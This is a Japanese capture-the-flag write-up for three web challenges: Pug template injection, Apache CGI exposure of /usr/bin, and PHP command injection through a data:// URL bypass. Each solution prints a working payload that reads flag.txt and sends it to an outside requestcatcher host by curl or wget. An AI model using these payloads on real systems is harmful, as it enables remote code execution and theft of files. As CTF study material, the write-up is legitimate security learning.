https://ctftime.org/event/2423
[web] GREETINGS
ソースコード無し。名前を入力するサイトが与えられる。とりあえずSSTIを試すと成功した。#{9*9}
と入力すると81と帰ってきた。適当にガチャガチャやるとエラーメッセージが出て、そこからPugが使われていることが分かった。
ということでHackTricksから適当にPayloadを持ってきて試すと以下でフラグがrequestcatcherに送られてきた。
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('cat flag.txt | curl https://[yours].requestcatcher.com/ -X POST -d @-')}()}
[web] FUNNY
ソースコード有り。Apache2 + phpの環境が与えられる。phpファイルで書かれている部分は特に意味がありそうな部分は無いため、環境設定に問題があるのだろうという方針で解く。httpd.confをデフォルト設定と比較しながら見ていくと怪しい設定がある。
ScriptAlias /cgi-bin /usr/bin
なんだこれと思いながら調べるとこういうページが見つかったりして、非常に良くないことが分かる。試しにGET /cgi-bin/hoge
としてみると404応答があり、GET /cgi-bin/wget
とすると500応答があった。いい感じに参照できている。先のページを見ると引数をクエリストリング経由で与えることができるらしいのでwgetコマンドとrequestcatcherで疎通確認してみる。
適当にrequestcatcherを用意して以下のようにリクエストを飛ばしてみるとリクエストが飛んでくる。
GET /cgi-bin/wget?https%3a%2f%2ffsdkj32i4jk3.requestcatcher.com%2ftest HTTP/1.1 Host: localhost:4444
こうやって書くと、wget https://fsdkj32i4jk3.requestcatcher.com/test
と解釈してくれるようだ。ok. 引数を複数入れることができればフラグが抽出できるが、調べると+%ADd+
がスペースとして認識されるようだ。よって--post-file=/flag.txt
を入れ込むことにして以下のようにリクエストすればフラグがrequestcatcherに送られる。
GET /cgi-bin/wget?https%3a%2f%2ffsdkj32i4jk3.requestcatcher.com%2ftest+%ADd+--post-file%3d%2fflag.txt HTTP/1.1 Host: localhost:4444
[web] SAFE_CONTENT
ソースコードとして/src.php
が参照可能で、重要なのは以下の部分。
<?php function isAllowedIP($url, $allowedHost) { $parsedUrl = parse_url($url); if (!$parsedUrl || !isset($parsedUrl['host'])) { return false; } return $parsedUrl['host'] === $allowedHost; } function fetchContent($url) { $context = stream_context_create([ 'http' => [ 'timeout' => 5 // Timeout in seconds ] ]); $content = @file_get_contents($url, false, $context); if ($content === FALSE) { $error = error_get_last(); throw new Exception("Unable to fetch content from the URL. Error: " . $error['message']); } return base64_decode($content); } if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['url'])) { $url = $_GET['url']; $allowedIP = 'localhost'; if (isAllowedIP($url, $allowedIP)) { $content = fetchContent($url); // file upload removed due to security issues if ($content) { $command = 'echo ' . $content . ' | base64 > /tmp/' . date('YmdHis') . '.tfc'; exec($command . ' > /dev/null 2>&1'); // this should fix it } } } ?>
ということで$command = 'echo ' . $content . ' | base64 > /tmp/' . date('YmdHis') . '.tfc';
でコマンドインジェクションができそうなので、このcontentにhoge && [arbitrary command] && echo hoge
を入れることができればRCE達成。そのためには、isAllowedIP関数にあるようにparse_urlの応答のhostがlocalhostであり、かつ、file_get_contentsに通したときの応答が任意の文字列であるような入力を作り出す必要がある。
ここからは理論無しの試行錯誤。ガチャガチャやってるとdata://localhost/plain,hogehoge
を入力するとlocalhostの検証を回避し、file_get_contentsの戻り値をhogehogeにすることができた。data://text/plain,ほにゃらら
で任意の文字列を返す方法があり、それをガチャガチャやってると出てきた。
ということで以下のようにpayloadを作るとフラグが手に入る。
- payload作り。コマンドインジェクションで、curlで情報を抜き出すものにした。
hoge && cat /flag.txt | curl https://[yours].requestcatcher.com/ -X POST -d @- && echo hoge
- fetchContent関数では、file_get_contentsの応答をbase64_decodeに通して返しているので手順1のpayloadをbase64にする
aG9nZSAmJiBjYXQgL2ZsYWcudHh0IHwgY3VybCBodHRwczovL1t5b3Vyc10ucmVxdWVzdGNhdGNoZXIuY29tLyAtWCBQT1NUIC1kIEAtICYmIGVjaG8gaG9nZQ==
data://localhost/plain,[手順2のbase64エンコード物]
のようにURLを組み立てて、これを送ると指定のrequestcatcherにフラグが飛んでくる